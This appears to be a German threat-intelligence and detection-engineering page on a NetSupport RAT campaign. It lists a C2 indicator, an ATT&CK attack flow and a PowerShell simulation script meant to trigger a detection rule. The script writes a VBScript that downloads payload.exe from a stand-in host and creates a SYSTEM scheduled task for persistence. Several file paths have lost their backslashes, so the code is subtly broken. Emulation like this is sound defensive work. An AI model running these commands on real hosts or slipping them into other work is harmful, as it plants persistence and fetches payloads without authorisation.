SOC Prime Bias: Mittel

03 Jun 2026 16:32 UTC

NetSupport RAT durch einen unbekannten Loader bereitgestellt

Author Photo
SOC Prime Team linkedin icon Folgen
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Ein zuvor unbekanntes Fernzugriffswerkzeug wurde beobachtet, das ein bösartiges NetSupport Manager RAT-Paket lieferte. Die anfängliche Malware kommunizierte mit einem Command-and-Control-Server bei 89.110.110.119 über TCP-Port 443 unter Verwendung von codiertem Datenverkehr. Die Kampagne, die als SmartApeSG ClickFix verfolgt wird, nutzte bösartige Skripte und ein CAB-Archiv, um das NetSupport RAT auf den Opfer-Systemen zu installieren.

Untersuchung

Die Untersuchung deckte mehrere Indikatoren auf, darunter bösartige URLs, IP-Adressen und Dateien, die im Verzeichnis ProgramData geschrieben wurden. Das anfängliche RAT lieferte ein Batch-Skript, das das NetSupport RAT aus einem setup.cab -Archiv extrahierte und installierte. Nach Abschluss der Installation wurden die unterstützenden Dateien entfernt, um sichtbare Spuren der Aktivität zu reduzieren.

Minderung

Organisationen sollten den Netzwerkverkehr zu den identifizierten bösartigen IP-Adressen und Domains blockieren und die Erstellung der referenzierten Dateien unter ProgramDataüberwachen. Endpunktschutzmaßnahmen sollten die Ausführung verdächtiger VBScript- und Batch-Dateien erkennen, während die Netzwerküberwachung strengere Kontrollen für codierten Datenverkehr über Port 443.

Antwort

Verteidiger sollten bei den aufgeführten Indikatoren Alarm schlagen, betroffene Systeme isolieren und eine forensische Analyse durchführen, um etwaige Persistenzmechanismen aufzudecken. Bösartige Dateien sollten entfernt, unautorisierte Änderungen rückgängig gemacht und Firewall-Richtlinien aktualisiert werden, um ausgehende Kommunikation mit der identifizierten Command-and-Control-Infrastruktur zu blockieren.

graph TB %% Klassendefinition classDef action fill:#c2f0c2 node_a[„<b>Aktion</b> – <b>T1204.001 Benutzerausführung: bösartiger Link</b><br/><b>Beschreibung</b>: Das Opfer lädt schädliches JavaScript von einer kompromittierten Webseite.“] class node_a action node_b[„<b>Aktion</b> – <b>T1027.006 Verschleierte Dateien: HTML Smuggling</b><br/><b>Beschreibung</b>: Bereitstellung verschlüsselter Inhalte mittels HTML-Smuggling-Technik.“] class node_b action node_c[„<b>Aktion</b> – <b>T1059.005 Kommando- und Skriptausführung: Visual Basic</b><br/><b>Beschreibung</b>: processor.vbs legt token.bat auf dem System ab.“] class node_c action node_d[„<b>Aktion</b> – Batch-Skriptausführung<br/><b>Ergebnis</b>: Entpackt NetSupport RAT auf dem Host.“] class node_d action node_e[„<b>Aktion</b> – <b>T1547.014 Active Setup</b> & <b>T1546.007 Netsh Helper DLL</b><br/><b>Beschreibung</b>: RAT wird in C:\\ProgramData\\UpdateInstaller für Persistenz abgelegt.“] class node_e action node_f[„<b>Aktion</b> – <b>T1574.007 Pfad-Interzeption</b> & <b>T1574.005 Schwache Installer-Berechtigungen</b><br/><b>Beschreibung</b>: Privilegieneskalation durch manipulierten PATH und schwache Installationsrechte.“] class node_f action node_g[„<b>Aktion</b> – <b>T1564 Artefaktversteckung</b> & <b>T1564.010 Prozessargument-Spoofing</b><br/><b>Beschreibung</b>: Staging-Dateien werden gelöscht und Prozessargumente zur Umgehung von Erkennung manipuliert.“] class node_g action node_h[„<b>Aktion</b> – <b>T1571 Nicht-standardisierter Port</b> & <b>T1071.001 Webprotokolle</b><br/><b>Beschreibung</b>: C2-Kommunikation über TCP 443 mittels verschlüsselter Webprotokolle.“] class node_h action %% Verbindung node_a –> node_b –> node_c –> node_d –> node_e –> node_f –> node_g –> node_h

Angriffsfluss

Simulation Ausführung

Voraussetzung: Die Telemetrie & Baseline-Überprüfung muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die zur Auslösung der Erkennungsregel entworfen wurde. Die Befehle und Erzählungen MÜSSEN genau die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Angreifer, der sich auf einem Windows-Host initial Zugang verschafft hat, legt drei bösartige Artefakte in C:ProgramData:

    1. processor.vbs – ein Visual Basic-Skript, das die Haupt-RAT-Binary herunterlädt.
    2. token.bat – eine Batch-Datei, die eine geplante Aufgabe zur Persistenz erstellt.
    3. setup.cab – ein CAB-Archiv, das eine DLL enthält, die in C:ProgramData abgelegt und später über rundll32.exe geladen wird..

    Der Angreifer führt dann nacheinander jede Datei aus, wodurch Prozess-Erstellungsereignisse ausgelöst werden, die die genauen Dateipfade enthalten, die von der Sigma-Regel benötigt werden.

  • Regression Testskript:

    # netSupport_RAT_simulation.ps1
    # -------------------------------------------------
    # ZWECK: Reproduktion der Telemetrie einer NetSupport RAT-Infektion
    # -------------------------------------------------
    
    $targetDir = "C:ProgramData"
    # Stellen Sie sicher, dass das Verzeichnis existiert
    if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force }
    
    # 1. processor.vbs ablegen
    $vbsPath = Join-Path $targetDir "processor.vbs"
    Set-Content -Path $vbsPath -Value @"
    Set objXML = CreateObject("MSXML2.XMLHTTP")
    objXML.open "GET","http://malicious.example.com/payload.exe",False
    objXML.send
    "@" 
    
    # 2. token.bat ablegen
    $batPath = Join-Path $targetDir "token.bat"
    Set-Content -Path $batPath -Value @"
    schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System
    "@
    
    # 3. setup.cab ablegen (Dummy-CAB mit einer Textdatei)
    $cabPath = Join-Path $targetDir "setup.cab"
    $tempDir = "$env:TEMPcab_temp"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    Set-Content -Path "$tempDirdummy.txt" -Value "Platzhalter"
    # Ein CAB erstellen – erfordert makecab (eingebautes Windows-Tool)
    & makecab.exe "$tempDirdummy.txt" $cabPath
    
    # Ausführungsphase – Auslösen der Erkennungen
    Write-Host "`n[+] processor.vbs wird ausgeführt"
    cscript.exe //B //Nologo $vbsPath
    
    Write-Host "[+] token.bat wird ausgeführt"
    cmd.exe /c $batPath
    
    Write-Host "[+] setup.cab wird über rundll32 (simulierter Ladevorgang) ausgeführt"
    rundll32.exe "$cabPath",DummyEntryPoint
    
    # Temporären Ordner bereinigen, der für die CAB-Erstellung verwendet wurde
    Remove-Item -Recurse -Force $tempDir
  • Bereinigung Befehle:

    # netSupport_RAT_cleanup.ps1
    $targetDir = "C:ProgramData"
    $files = @("processor.vbs","token.bat","setup.cab")
    foreach ($f in $files) {
        $fullPath = Join-Path $targetDir $f
        if (Test-Path $fullPath) { Remove-Item -Force $fullPath }
    }
    # Die von token.bat erstellte geplante Aufgabe entfernen
    schtasks /delete /tn "NetSupportPersist" /f
    Write-Host "Bereinigung abgeschlossen."